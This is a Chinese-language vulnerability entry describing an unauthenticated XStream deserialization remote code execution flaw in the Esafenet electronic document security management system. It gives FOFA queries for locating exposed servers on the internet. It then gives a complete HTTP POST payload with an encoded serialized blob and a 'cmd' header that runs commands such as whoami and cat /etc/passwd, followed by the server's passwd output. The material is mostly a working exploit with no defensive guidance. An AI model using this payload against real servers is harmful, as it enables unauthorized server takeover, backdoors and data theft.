

Y5-25亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述：

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web 服务器。

网站图片：



网络测绘：

fofa语法：

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现：

payload:

```
POST /CDGServer3/formType?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

NNLNELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHFCHMONPDPHOHMONIOCNLBPBKNAEEBHFICFNMDDAACABKCKIAEMBPBIOBGMNEIPJAOGBILDKMLDGAENLPABKFPFELKLGCEBMBMNKOIBMPHCIDOCCEHOKPCEDHPNLONIC

效果图：

Request

```
1 POST /CDGServer3/formType?command=GETSYSTEMINFO HTTP/1.1
2 Host:
3 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
4 Accept-Encoding: gzip, deflate, br
5 Connection: close
6 Content-Type: text/xml
7 cmd: cat /etc/passwd
8
9 NNLNELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHFCHMONPDPHOHMONIOCNLBPBKNAEEBHFICFNMDDAACABKCKIAEMBPBIOBGMNEIPJAOGBILDKMLDGAENLPABKFPFELKLGCEBMBMNKOIBMPHCIDOCCEHOKPCEDHPNLONICMFGBDOIOAHLOHNMDBJABECIOEHKAPJCBDJDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDOMPNCNGLPPOMMIGCEFEFBIMDHFAGLHIDHPJCHAEHPPHMHGJKJDCINLAHOAPCDJNABODKBFABJMFIEMLPGGKNNNFCAOBHCOEOHCBF0FGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENNHNFBOJIAOFJKBFMGNKBECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKMCENNPHEODFNIOPMHFPNPFJIEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMMHEMBFGOHELCDBFHIFALDIIMBFEOHNNBOIOMLCJCKPHJPNLDPHDDCFJNMKGDMINEIHIDLEGMOHCFADAHOMPPFIFFBPFCHAPPIDAIAILKODLCALBBJNCPGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCMCAKFFLFIBDHCFHMKKNDHLCGIMPMKMBJGDIDJMMGEOEGJNDNNEKFDMEAHMILDKIFBKGKEJCMGOFKJEMNAFLDGEEOBKOHADBAMHBMJDJOGIFPMIDKIIILGAEELNEOAKNEFHDOGHOBDCIHALJENFHKFCEHMPBJLCFPDHDGGBFIMKHLFIHONFDJAEIJLLPFFMAEBHDEBOIDLCMCIKAFBEBFBEGJEECDEINCPNPKIENONIMPBJCMCHAOAJHHDKDKEGJGDGJDIDEHNNLNNHEONJEJHNLHLMBBBEJDLJLLNPKIMGHLOFMHKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFEJNLKMHMBCKELDPBDMBFHAKBHEMNDFBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJDELPPFLFBOHHNIBEGOFEFGAENOKBMPCBDELFPJAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPLEHGPDGNJHAAJKICHBFGMHCLFPFHCKKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFLGDIKIIIMEPHMIHCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCHMDPNMLLACKHOGJAEMBJPFEBOCBPGGAFFGNCBOBEAIPANPLIBGDCCNMNDNOIPOECCPELCEDPGCNJHEIOIFPDKIFNJGHAHLHFNPCIJLHELMDMJIEGMHBNMWFBEJCDDDFOPAJOMBNKBDGKKMLKCBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNLOCOHHFHMNFHALJHOPGKLOPHLMELJFBIABE
```

Responses

https 1328bytes / 94ms

```
1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=32A41ECBED28DAAA4AB; HttpOnly
3 Content-Type: text/html; charset=utf-8
4 Date: Wed, 31 Jan 2024 21:18:28 GMT
5 Connection: close
6 Content-Length: 1328
7
8 root:x:0:0:root:/root:/bin/bash
9 bin:x:1:1:bin:/bin:/sbin/nologin
10 daemon:x:2:2:daemon:/sbin:/sbin/nologin
11 adm:x:3:4:adm:/var/adm:/sbin/nologin
12 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
13 sync:x:5:0:sync:/sbin:/bin/sync
14 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
15 halt:x:7:0:halt:/sbin:/sbin/halt
16 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
17 operator:x:11:0:operator:/root:/sbin/nologin
18 games:x:12:100:games:/usr/games:/sbin/nologin
19 ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin
20 nobody:x:99:99:Nobody:./:/sbin/nologin
21 systemd-network:x:192:192:systemd-Networkd:/etc:/sbin/nologin
22 dbus:x:81:81:system-message-bus:./:/sbin/nologin
23 polkitd:x:999:998:User for polkitd:./:/sbin/nologin
24 libstoragemgmt:x:998:997:daemon-account-for libstorage:/etc:/sbin/nologin
25 abrt:x:173:173:abrt:/etc/abrt:/sbin/nologin
26 rpc:x:32:32:Rpcbind-Daemon:/var/lib/rpcbind:/sbin/nologin
```